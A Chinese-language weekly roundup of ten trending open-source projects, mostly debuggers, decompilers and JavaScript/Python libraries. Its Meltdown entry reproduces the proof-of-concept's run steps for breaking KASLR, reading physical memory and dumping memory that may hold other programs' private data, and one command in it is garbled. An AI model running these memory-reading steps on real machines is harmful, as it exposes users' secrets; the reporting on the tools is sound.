大家周一好,还在上学的小伙伴们期末考试考完了吗?期末考试考完了学习计划就完了吗?我知道你不会的,你的心里只有学习没有女朋友。书山有路勤为径,代码没写完不行。还在上班的伙伴们离过年还有整整一个月,放假还早,时间不少,冬天外面冷,呆在室内写写代码,看看项目,何乐而不为呢?(滑稽表情)
本周开源周报流行开源项目榜中榜前十名项目有 x64dbg 给 Windows 系统的开源调试器,反编译apk的 JADX,反编译 Java 的 Byte-code viewer,汇编工具 asm-dude,可以说是反编译器扎堆了,前一阵子 Intel 处理器(后来证实 AMD 、ARM、NVIDIA等处理器部分也有)爆出来的 meltdown 等漏洞把大家折腾得惨烈无比,全球用户一片哀嚎,不过很快就有跟它有关的开源项目啦,并且热度不减;而关注前端的朋友,可以看看厉害的 Nerv库,它提供了与React 16一致的使用方式与API,并且拥有更高的性能表现、更小的包大小以及更好的浏览器兼容性。
本周流行开源项目榜中榜开源趋势 Top 10
0. x64dbg
一个为32位和64位 windows 系统准备的开源调试器
这个调试器在打开程序和程序启动的入口处都设置了断点,从而可以让使用者观察程序的状态,比如 CPU 的地址及其地址的内容;内存的地址,大小,页面信息,内容,类型等等等等。几乎可以让使用者在运行程序的同时完全的监视这个程序,还可以通过在程序中设置断点来进一步观察运行状态。
特点:
1.可以全功能的调试 dll 和 exe 文件
2.附带跳转箭头的 IDA 侧边栏和 IDA 指令标记笔
3.可动态识别模块与字符串
4.快速的反汇编程序
5.拥有用于注释,标签等功能的用户数据库
6.支持插件
7.拥有可扩展,可调试的脚本语言,便于自动化
1. JADX
简介:一个能够反编译二进制和APK文件的开源软件,同时拥有GUI和命令行两种操作方式。
用法:
Windows下:来到build/jadx/bin目录下,双击jadx-gui.bat,然后选择要反编译的apk即可。
命令行:把apk拷贝到bin目录下,命令行cd到bin目录下:键入jadx -d out xxx.apk会把编译后的源码丢到out目录下。
优势:
- 相比于传统的安卓反汇编方式(apktool+dex2jar+jd-gui)更加集成化。
- 可以直接导出项目源代码为Gradle项目,方便使用 Android Studio 再次开发。
2.workerize
workerize 能将模块移动到 Web Worker 中,自动将导出的函数反应为异步代理
特点:
- 将一个小型的专门构建的RPC实现捆绑到您的应用程序中
- 如果导出的模块方法已经是异步的,那么签名是不变的
- 支持同步和异步工作者功能
- 与异步/等待美妙地工作
- 只需900字节的压缩ES3
用法:
传递一个函数或一个包含代码的字符串
let worker = workerize(` export function add(a, b) { // block for half a second to demonstrate asynchronicity let start = Date.now(); while (Date.now()-start < 250); return a + b; } `); (async () => { console.log('3 + 9 = ', await worker.add(3, 9)); console.log('1 + 2 = ', await worker.add(1, 2)); })();
3. Bytecode Viewer
Bytecode-viewer 是一个由五个不同的Java 反编译器,两个字节码编辑器,一个Java 编译器,Android APK等组成的工具。
主要特点:
1. Smali / BakSmali集成 - 可以通过smali编辑类文件/ dex文件。
2. APK / DEX支持 - 使用Dex2Jar和Jar2Dex,可以轻松加载和保存APK。
3. Java反编译器 - 利用FernFlower,Procyon和CFR进行反编译。
4. 每个反编译器/编辑器/查看器都是可切换的,也可以自定义每个窗格上显示的内容。
5. 全功能的搜索系统 - 通过字符串,函数,变量等等搜索。
6. 内置的插件系统 - (恶意代码扫描器,字符串解密器等)
更多信息:https://wiki.bytecode.club/Bytecode_Viewer
社区地址:https://the.bytecode.club/forumdisplay.php?fid=69
关于Bytecode俱乐部:
这是一个专注于逆向工程的社区,他们尝试以Java / Android为目标,但也包括其他语言/平台。为支持和免费开放源代码应用感到自豪。
4. Nerv
Nerv是一款基于虚拟DOM技术的JavaScript(TypeScript)库,它提供了与React 16一致的使用方式与API,并且拥有更高的性能表现、更小的包大小以及更好的浏览器兼容性。
特性:
- 与React保持一致的API,不需要 nerv-compat
- 久经战斗洗礼,已经应用于京东PC首页 与 京东旗下TOPLIFE
- 强劲的性能
- IE8兼容
- 更小尺寸, 9Kb gziped
- 支持客户端与服务端同构渲染
- 支持React 16的新特性, 例如错误处理, Portals, 自定义DOM属性等等.
熟悉react框架的人可以直接上手nerv,从React切换成使用Nerv非常方便,只需要将react 和 react-dom 重命名成 nervjs,而不需要任何的代码变动。
5. Eel
Eel是一个小型的Python(目前仅用于Python3)库,用于制作简单的类似Electron的HTML / JS GUI应用程序
它拥有一个本地的网络服务器,然后让你用Python声明函数,以便从Javascript调用它们,反之亦然。
它的设计目的在于编写短而简单的GUI应用程序。
Eel不像Electron或Cefpython那样完全成熟 - 它可能不适合做像Atom这样全面的应用程序 - 但它非常适合使你自己使用的小实用程序脚本的GUI相当。
6. algorithms_and_data_structures
该项目是一份 c++描述的算法与数据结构问题的解决方案的集合,当你遇到难题时,来这里寻找说不定能有意外的收获。另外,要补充的是,该项目采用的是GNU通用公共许可证,那么,你能干嘛不能干嘛就不必我赘述了吧。
当前分类:
- 链表问题
- Include 部分:提供了一些常用算法和大部分数据结构的泛型实现
- 位操作问题
- 《程序员面试金典》中的部分问题
- 动态规划中的一些问题
- 关于树的问题
- 字符串问题
- 常见的数据结构与逻辑问题
- 数学问题
- 堆栈问题
- 排序与搜索问题
- 图形问题
- 贪心算法问题
- LeetCode上的一些问题
7. meltdown
一个新发现的bug,提供了多个演示视频,演示视频使用的是Ubuntu 16.04以及Intel i7,但他们应该可以工作在任何基于2010年以后的现代Intel CPU的Linux系统上。为了取得最好的演示效果,最好使用支持Intel TSX的快速CPU
链接:
这个库包含了多个应用程序来展示Meltdown bug. 技术信息参考:https://meltdown.help/meltdown.pdf
操作步骤:
1、对于支持RPM的系统:首先安装glibc-static
sudo yum install -y glibc-static
演示
1#
首先测试第一个代码,如果其不工作,则其他的演示也将失败,原因请参考github网站
make
taskset 0x1 ./test
如果看到以下代码则表示可以运行
Expect: Welcome to the wonderful world of microarchitectural attacks
Got: Welcome to the wonderful world of microarchitectural attacks
2# 破坏kaslr
输入:
make
sudo taskset 0x1 ./kaslr
等待几秒钟后你将看到
[+] Direct physical map offset: 0xffff880000000000
3#可靠性测试
如果你有KASLR启用,第一个参数是physical map的偏移量。否则,程序不需要参数。
make
sudo taskset 0x1 ./reliability 0xffff880000000000
等待几秒钟后你将看到
[-] Success rate: 99.93% (read 1354 values)
4#读物理内存
提供了一个可读的测试工具(secret)
make
sudo ./secret
等待几秒钟后你将看到
[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret
让secret继续运行并开始physical_reader,如果你有没KASLR启用,第二个参数是physical map的偏移量。否则,程序不需要参数。
taskset 0 x1。 / physical_reader 0 0 xffff880000000000 x390fff400
等待几秒钟后你将看到:
[+] Physical address : 0x390fff400
[+] Physical offset : 0xffff880000000000
[+] Reading virtual address: 0xffff880390fff400
If you can read this, this is really bad
5#转存内存
首先运行给的测试工具memory_filler,来给内存填充可读信息。第一个变量是要填充的数量(以千兆字节为单位)
make
./memory_filler 9
接下来运行工具memdump
执行memory_filler之前,您应该看到一些字符串片段。如果你有Firefox和Chrome运行多个标签,您还会看到最近点开或关闭的网站。
第一个参数是转储应该开始的物理地址。如果你有没KASLR启用,第二个参数是physical map的偏移量。
taskset 0x1 ./memdump 0x240000000 0xffff880000000000 # start at 9 GB
你将获得16进制显示的一部分内存(可能包含隐私文件)
8. Web Developer Roadmap
作者应一位老教授的要求给老教授的学生做了一份对前景的分析,给迷茫的小朋友们介绍了通向成为一个前端,后台或者是一个DevOps(开发软件、技术运营和质量保障(QA)三者的交集)的路径与其对应的技术,以及通向任一方向前应掌握的东西。
作者还打算做一份相关资源的图表,但还未实施;同时作者很欢迎读者询问,并与他一起对这些图表做出改进
作者制作图表的工具:https://balsamiq.com/products/
9. TopSup
简介:使用截图,文字识别,搜索的小辅助。
使用步骤 (谷歌 Tesseract)
Android
安装ADB
下载地址:https://adb.clockworkmod.com/ 安装完后插入安卓设备且安卓已打开 USB 调试模式,终端输入 adb devices ,显示设备号则表示成功。我手上的机子是坚果 pro1,第一次不成功,查看设备管理器有叹号,使用 handshaker 加载驱动后成功,也可以使用豌豆荚之类的试试。
安装python3
安装所需python包
命令行:
pip install pytesseract
pip install pillow
pip install requests
安装谷歌Tesseract
Windows下链接: 推荐使用安装版,在安装时选择增加中文简体语言包
- 安装版:
https://digi.bib.uni-mannheim.de/tesseract/tesseract-ocr-setup-3.05.01.exe
- 免安装版:
https://github.com/parrot-office/tesseract/releases/download/3.5.1/tesseract-Win64.zip 免安装版需要下载中文语言包
其他系统: https://github.com/tesseract-ocr/tesseract/wiki
修改 GetTitleTessAndroid 代码相应目录信息(默认安装则无需修改)
# tesseract 路径
pytesseract.pytesseract.tesseract_cmd = 'C:\\Program Files (x86)\\Tesseract-OCR\\tesseract'
# 语言包目录和参数
tessdata_dir_config = '--tessdata-dir "C:\\Program Files (x86)\\Tesseract-OCR\\tessdata" --psm 6'
运行脚本
python GetQuestionTessAndroid.py 会自动识别文字并打开浏览器
注: 可以用 GetImgTool.py 调整题目截取位置
可以到
https://github.com/Skyexu/TopSup/blob/master/common/devicesCutConfig.txt
查看部分手机截图设置 若屏幕分辨率不同,请在 ocr.py 中自行修改代码即可
# 切割题目和选项位置,左上角坐标和右下角坐标,自行测试分辨率
question_im = image.crop((50, 350, 1000, 560)) # 坚果 pro1
choices_im = image.crop((75, 535, 990, 1150))
# question = img.crop((75, 315, 1167, 789)) # iPhone 7P
其它
- Tesseract 参数,若识别有问题可以更改参数解决:
https://github.com/tesseract-ocr/tesseract/blob/master/doc/tesseract.1.asc
- 三种方法可以选择,可以加#注释掉只保留一个方法
10. asm-dude
Asm-dude 是一个应用于 Visual Studio 2015/2017 汇编代码编写功能以及反编译功能的辅助工具。他拥有将语法高亮显示并提供说明(指向、作用),这个功能对x86指令集和x64,SSE、AVX、avx2、Xeon Phi(Knights Corner),最常用的汇编指令的和一些NASM指令提供支持;并支持文档链接的快速跳转,自动生成部分简单代码,对代码进行折叠,自动提示参数,标签校验等功能。
除此之外,它的2.0版本拥有汇编模拟器功能,模拟器提供Multi-Valued Logics、显示登记内容、多种错误检查(使用未定义的值,冗余指令,不可能触发的逻辑判断指令,语法错误)等功能。
该工具仍在持续更新完善,如果你在使用这个工具时有任何疑问与建议,都可以在github中向作者提出。
好了,本期开源周报到这里就结束了,欢迎下周同一时间再见。